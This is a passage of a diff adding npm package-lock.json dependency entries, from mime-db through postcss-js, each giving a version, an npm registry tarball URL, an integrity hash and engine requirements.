+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+ "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/mime-types": {
+ "version": "2.1.35",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+ "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+ "license": "MIT",
+ "dependencies": {
+ "mime-db": "1.52.0"
+ },
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/minim": {
+ "version": "0.23.8",
+ "resolved": "https://registry.npmjs.org/minim/-/minim-0.23.8.tgz",
+ "integrity": "sha512-bjdr2xW1dBCMsMGGsUeqM4eFI60m94+szhxWys+B1ztIt6gWSfeGBdSVCIawezeHYLYn0j6zrsXdQS/JllBzww==",
+ "license": "MIT",
+ "dependencies": {
+ "lodash": "^4.15.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/minimatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+ "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+ "dependencies": {
+ "brace-expansion": "^1.1.7"
+ },
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/minimist": {
+ "version": "1.2.8",
+ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
+ "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/minipass": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz",
+ "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
+ "engines": {
+ "node": ">=16 || 14 >=14.17"
+ }
+ },
+ "node_modules/ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+ },
+ "node_modules/mustache": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/mustache/-/mustache-2.2.1.tgz",
+ "integrity": "sha512-azYRexmi9y6h2lk2JqfBLh1htlDMjKYyEYOkxoGKa0FRdr5aY4f5q8bH4JIecM181DtUEYLSz8PcRO46mgzMNQ==",
+ "bin": {
+ "mustache": "bin/mustache"
+ },
+ "engines": {
+ "npm": ">=1.4.0"
+ }
+ },
+ "node_modules/mz": {
+ "version": "2.7.0",
+ "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
+ "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
+ "dependencies": {
+ "any-promise": "^1.0.0",
+ "object-assign": "^4.0.1",
+ "thenify-all": "^1.0.0"
+ }
+ },
+ "node_modules/nanoid": {
+ "version": "3.3.8",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.8.tgz",
+ "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "bin": {
+ "nanoid": "bin/nanoid.cjs"
+ },
+ "engines": {
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+ "node_modules/natural-compare": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
+ "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="
+ },
+ "node_modules/neotraverse": {
+ "version": "0.6.18",
+ "resolved": "https://registry.npmjs.org/neotraverse/-/neotraverse-0.6.18.tgz",
+ "integrity": "sha512-Z4SmBUweYa09+o6pG+eASabEpP6QkQ70yHj351pQoEXIs8uHbaU2DWVmzBANKgflPa47A50PtB2+NgRpQvr7vA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/next": {
+ "version": "15.5.9",
+ "resolved": "https://registry.npmjs.org/next/-/next-15.5.9.tgz",
+ "integrity": "sha512-agNLK89seZEtC5zUHwtut0+tNrc0Xw4FT/Dg+B/VLEo9pAcS9rtTKpek3V6kVcVwsB2YlqMaHdfZL4eLEVYuCg==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "@next/env": "15.5.9",
+ "@swc/helpers": "0.5.15",
+ "caniuse-lite": "^1.0.30001579",
+ "postcss": "8.4.31",
+ "styled-jsx": "5.1.6"
+ },
+ "bin": {
+ "next": "dist/bin/next"
+ },
+ "engines": {
+ "node": "^18.18.0 || ^19.8.0 || >= 20.0.0"
+ },
+ "optionalDependencies": {
+ "@next/swc-darwin-arm64": "15.5.7",
+ "@next/swc-darwin-x64": "15.5.7",
+ "@next/swc-linux-arm64-gnu": "15.5.7",
+ "@next/swc-linux-arm64-musl": "15.5.7",
+ "@next/swc-linux-x64-gnu": "15.5.7",
+ "@next/swc-linux-x64-musl": "15.5.7",
+ "@next/swc-win32-arm64-msvc": "15.5.7",
+ "@next/swc-win32-x64-msvc": "15.5.7",
+ "sharp": "^0.34.3"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.1.0",
+ "@playwright/test": "^1.51.1",
+ "babel-plugin-react-compiler": "*",
+ "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0",
+ "react-dom": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0",
+ "sass": "^1.3.0"
+ },
+ "peerDependenciesMeta": {
+ "@opentelemetry/api": {
+ "optional": true
+ },
+ "@playwright/test": {
+ "optional": true
+ },
+ "babel-plugin-react-compiler": {
+ "optional": true
+ },
+ "sass": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/next-themes": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/next-themes/-/next-themes-0.3.0.tgz",
+ "integrity": "sha512-/QHIrsYpd6Kfk7xakK4svpDI5mmXP0gfvCoJdGpZQ2TOrQZmsW0QxjaiLn8wbIKjtm4BTSqLoix4lxYYOnLJ/w==",
+ "peerDependencies": {
+ "react": "^16.8 || ^17 || ^18",
+ "react-dom": "^16.8 || ^17 || ^18"
+ }
+ },
+ "node_modules/next/node_modules/postcss": {
+ "version": "8.4.31",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.31.tgz",
+ "integrity": "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/postcss"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "nanoid": "^3.3.6",
+ "picocolors": "^1.0.0",
+ "source-map-js": "^1.0.2"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ }
+ },
+ "node_modules/node-abort-controller": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/node-abort-controller/-/node-abort-controller-3.1.1.tgz",
+ "integrity": "sha512-AGK2yQKIjRuqnc6VkX2Xj5d+QW8xZ87pa1UK6yA6ouUyuxfHuMP6umE5QK7UmTeOAymo+Zx1Fxiuw9rVx8taHQ==",
+ "license": "MIT"
+ },
+ "node_modules/node-addon-api": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
+ "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
+ "dev": true,
+ "optional": true
+ },
+ "node_modules/node-cache": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/node-cache/-/node-cache-5.1.2.tgz",
+ "integrity": "sha512-t1QzWwnk4sjLWaQAS8CHgOJ+RAfmHpxFWmc36IWTiWHQfs0w5JDMBS1b1ZxQteo0vVVuWJvIUKHDkkeK7vIGCg==",
+ "dependencies": {
+ "clone": "2.x"
+ },
+ "engines": {
+ "node": ">= 8.0.0"
+ }
+ },
+ "node_modules/node-domexception": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz",
+ "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==",
+ "deprecated": "Use your platform's native DOMException instead",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/jimmywarting"
+ },
+ {
+ "type": "github",
+ "url": "https://paypal.me/jimmywarting"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=10.5.0"
+ }
+ },
+ "node_modules/node-fetch-commonjs": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/node-fetch-commonjs/-/node-fetch-commonjs-3.3.2.tgz",
+ "integrity": "sha512-VBlAiynj3VMLrotgwOS3OyECFxas5y7ltLcK4t41lMUZeaK15Ym4QRkqN0EQKAFL42q9i21EPKjzLUPfltR72A==",
+ "license": "MIT",
+ "dependencies": {
+ "node-domexception": "^1.0.0",
+ "web-streams-polyfill": "^3.0.3"
+ },
+ "engines": {
+ "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/node-fetch"
+ }
+ },
+ "node_modules/node-gyp-build": {
+ "version": "4.8.4",
+ "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.8.4.tgz",
+ "integrity": "sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==",
+ "license": "MIT",
+ "optional": true,
+ "bin": {
+ "node-gyp-build": "bin.js",
+ "node-gyp-build-optional": "optional.js",
+ "node-gyp-build-test": "build-test.js"
+ }
+ },
+ "node_modules/node-releases": {
+ "version": "2.0.19",
+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz",
+ "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw=="
+ },
+ "node_modules/normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/normalize-range": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
+ "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/number-is-nan": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
+ "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-assign": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+ "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-hash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
+ "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/object-inspect": {
+ "version": "1.13.3",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.3.tgz",
+ "integrity": "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/object-keys": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/object.assign": {
+ "version": "4.1.5",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.5.tgz",
+ "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==",
+ "dependencies": {
+ "call-bind": "^1.0.5",
+ "define-properties": "^1.2.1",
+ "has-symbols": "^1.0.3",
+ "object-keys": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/object.entries": {
+ "version": "1.1.8",
+ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.8.tgz",
+ "integrity": "sha512-cmopxi8VwRIAw/fkijJohSfpef5PdN0pMQJN6VC/ZKvn0LIknWD8KtgY6KlQdEc4tIjcQ3HxSMmnvtzIscdaYQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/object.fromentries": {
+ "version": "2.0.8",
+ "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz",
+ "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.2",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/object.groupby": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz",
+ "integrity": "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/object.values": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.0.tgz",
+ "integrity": "sha512-yBYjY9QX2hnRmZHAjG/f13MzmBzxzYgQhFrke06TTyKY5zSTEqkOeukBzIdVA3j3ulu8Qa3MbVFShV7T2RmGtQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+ "dependencies": {
+ "wrappy": "1"
+ }
+ },
+ "node_modules/openapi-path-templating": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/openapi-path-templating/-/openapi-path-templating-2.2.1.tgz",
+ "integrity": "sha512-eN14VrDvl/YyGxxrkGOHkVkWEoPyhyeydOUrbvjoz8K5eIGgELASwN1eqFOJ2CTQMGCy2EntOK1KdtJ8ZMekcg==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "apg-lite": "^1.0.4"
+ },
+ "engines": {
+ "node": ">=12.20.0"
+ }
+ },
+ "node_modules/openapi-server-url-templating": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/openapi-server-url-templating/-/openapi-server-url-templating-1.3.0.tgz",
+ "integrity": "sha512-DPlCms3KKEbjVQb0spV6Awfn6UWNheuG/+folQPzh/wUaKwuqvj8zt5gagD7qoyxtE03cIiKPgLFS3Q8Bz00uQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "apg-lite": "^1.0.4"
+ },
+ "engines": {
+ "node": ">=12.20.0"
+ }
+ },
+ "node_modules/optionator": {
+ "version": "0.9.4",
+ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
+ "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==",
+ "dependencies": {
+ "deep-is": "^0.1.3",
+ "fast-levenshtein": "^2.0.6",
+ "levn": "^0.4.1",
+ "prelude-ls": "^1.2.1",
+ "type-check": "^0.4.0",
+ "word-wrap": "^1.2.5"
+ },
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/os-locale": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
+ "integrity": "sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==",
+ "dependencies": {
+ "lcid": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/p-limit": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
+ "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
+ "dependencies": {
+ "yocto-queue": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/p-locate": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
+ "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
+ "dependencies": {
+ "p-limit": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/package-json-from-dist": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz",
+ "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="
+ },
+ "node_modules/parent-module": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+ "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+ "dependencies": {
+ "callsites": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/parse-entities": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz",
+ "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==",
+ "dependencies": {
+ "@types/unist": "^2.0.0",
+ "character-entities-legacy": "^3.0.0",
+ "character-reference-invalid": "^2.0.0",
+ "decode-named-character-reference": "^1.0.0",
+ "is-alphanumerical": "^2.0.0",
+ "is-decimal": "^2.0.0",
+ "is-hexadecimal": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/parse-entities/node_modules/@types/unist": {
+ "version": "2.0.11",
+ "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz",
+ "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="
+ },
+ "node_modules/parse5": {
+ "version": "7.2.1",
+ "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.2.1.tgz",
+ "integrity": "sha512-BuBYQYlv1ckiPdQi/ohiivi9Sagc9JG+Ozs0r7b/0iK3sKmrb0b9FdWdBbOdx6hBCM/F9Ir82ofnBhtZOjCRPQ==",
+ "dependencies": {
+ "entities": "^4.5.0"
+ },
+ "funding": {
+ "url": "https://github.com/inikulin/parse5?sponsor=1"
+ }
+ },
+ "node_modules/path-exists": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
+ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/path-is-absolute": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+ "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/path-key": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/path-parse": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+ },
+ "node_modules/path-scurry": {
+ "version": "1.11.1",
+ "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz",
+ "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==",
+ "dependencies": {
+ "lru-cache": "^10.2.0",
+ "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
+ },
+ "engines": {
+ "node": ">=16 || 14 >=14.18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/path-type": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+ "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/picocolors": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+ "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="
+ },
+ "node_modules/picomatch": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "engines": {
+ "node": ">=8.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/pirates": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz",
+ "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/possible-typed-array-names": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz",
+ "integrity": "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/postcss": {
+ "version": "8.4.49",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.49.tgz",
+ "integrity": "sha512-OCVPnIObs4N29kxTjzLfUryOkvZEq+pf8jTF0lg8E7uETuWHA+v7j3c/xJmiqpX450191LlmZfUKkXxkTry7nA==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/postcss"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "peer": true,
+ "dependencies": {
+ "nanoid": "^3.3.7",
+ "picocolors": "^1.1.1",
+ "source-map-js": "^1.2.1"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ }
+ },
+ "node_modules/postcss-import": {
+ "version": "15.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
+ "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
+ "dependencies": {
+ "postcss-value-parser": "^4.0.0",
+ "read-cache": "^1.0.0",
+ "resolve": "^1.1.7"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.0"
+ }
+ },
+ "node_modules/postcss-js": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
+ "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==",
+ "dependencies": {
